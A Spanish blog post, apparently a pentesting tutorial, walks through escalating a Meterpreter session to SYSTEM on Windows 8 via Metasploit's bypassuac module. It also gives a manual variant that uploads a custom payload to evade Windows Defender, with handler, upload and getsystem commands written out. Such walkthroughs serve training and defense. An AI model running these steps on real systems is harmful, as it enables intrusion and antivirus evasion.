Escalado de privilegios con bypassuac en Win8

Supongamos que hemos conseguido una sesión de meterpreter en un Windows 8 utilizando algún tipo de exploit “Client Side” o logrando que el usuario ejecute nuestro “payload” maligno mediante el uso de Ingeniería Social.

1 session-1

El siguiente paso sería intentar escalar privilegios en la máquina que se ha comprometido, pero como se puede ver en la siguiente pantalla, esto no es tan simple como utilizar el conocido comando “getsystem”.

2 no-getsystem

Windows, a partir de “Vista” implementa una protección llamada UAC (User Account Control). Este sistema genera múltiples avisos de alerta, lo que lleva a muchos usuarios a desactivarlo, pero en el caso que nos ocupa esto no es así.

Así pues, para conseguir acceso con un usuario privilegiado al sistema, primero debemos desactivar o evitar el UAC.

Para este caso, Metasploit cuenta con el módulo “bypassuac”, el cual se puede utilizar con el comando “use exploit/windows/local/bypassuac”. Antes debemos dejar la sesión que hemos obtenido en segundo plano con el comando “background”. Una vez seleccionado dicho exploit, se le debe indicar la sesión que tenemos abierta con la máquina víctima para realizar el ataque mediante “set SESSION id_session”. El último paso es ejecutar el comando “exploit”.

3 bypassuac-session2

Como se aprecia en la captura de pantalla anterior, el exploit nos abre una nueva sesión de meterpreter (la 2 en este caso) en donde el UAC está desactivado. Así utilizando el comando de meterpreter “getsystem” vemos que conseguimos tener el “uid” del usuario “NT AUTHORITY\SYSTEM”.

¿Que pasa si nos encontramos un antivirus?

En el caso de que la estación de trabajo tenga un antivirus actualizado como por ejemplo el propio “Windows Defender” de Windows 8, deberemos utilizar un “payload” a medida que nos permita saltarnos el antivirus.

Esto es lo que pasa cuando el antivirus bloquea el “payload” en la máquina víctima.

4 malware-detectado

Y esto en la máquina del atacante.

5 bypassuac-no-va

Así pues, teóricamente podemos utilizar la opción “EXE::Custom” para indicarle a nuestro exploit que “payload” utilizar para conseguir la segunda sesión (normalmente utilizaremos el mismo payload que hemos utilizado para conseguir la primera sesión ya que sabemos que el antivirus no lo detecta), aunque a mi no me ha funcionado en ninguna de las pruebas que he realizado.

Si este procedimiento no funciona, se puede hacer de forma manual siguiendo el siguiente guión:

  • Conseguimos una sesión meterpreter inicial, sin privilegios (El multi/handler hay que configurarlo para que no se cierre cuando consiga la sesión y quede a la escucha por si llegan más sesiones. Para ello ponemos a false la variable “ExitOnSession” y ejecutamos el exploit con la opción “-j” para que quede como un trabajo en segundo plano).
msf exploit(handler) > set ExitOnSession falsemsf exploit(handler) > set LHOST 192.168.100.64

msf exploit(handler) > set LPORT 4444

msf exploit(handler) > exploit -j

  • Subimos a la maquina el ejecutable bypassuac-x64.exe que podemos encontrar en “/usr/share/metasploit-framework/data/post/bypassuac-x64.exe” de Kali Linux en el directorio temporal de windows (para la demo el fichero se ha copiado en /tmp/buac.exe).
meterpreter> upload /tmp/buac.exe c:\\windows\\temp
  • Subimos el  payload personalizado de meterpreter al mismo directorio temporal .
meterpreter> upload /tmp/payload.exe c:\\windows\\temp
  • Abrimos una Shell del sistema.
meterpreter> shell
  • Navegamos hasta dicho directorio y ejecutamos el buac.exe seguido de un comando del sistema.
C:\>cd c:\windows\tempC:\windows\temp> buac.exe cd
  • Esto nos abrirá otra Shell con privilegios y nos deja en el directorio C:\windows\system32\.
  • Volvemos al directorio donde subimos el payload y lo ejecutamos.
C:\windows\system32>cd c:\windows\tempC:\windows\temp> payload.exe
  • Se abrirá una nueva sesión de meterpreter. Salimos de la Shell con “exit”, pasamos la sesión de meterpreter actual a “background” y nos conectamos a la nueva sesión con “sessions –i idsession”.
C:\>exitmeterpreter> background

msf> sessions –i 2

meterpreter>

  • En la nueva sesión podemos ejecutar “getsystem” para obtener privilegios de “SYSTEM”.
meterpreter> getsystemgot System

meterpreter> getuid

NT AUTHORITY\SYSTEM

Aqui una pantalla de lo que se consigue siguiendo este procedimiento.

6 fuck-av

Bueno esto es todo por ahora, espero que sea de utilidad. Proximamente seguiré con una serie de posts sobre Post-Explotación con Metasploit.

Un saludo.

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

*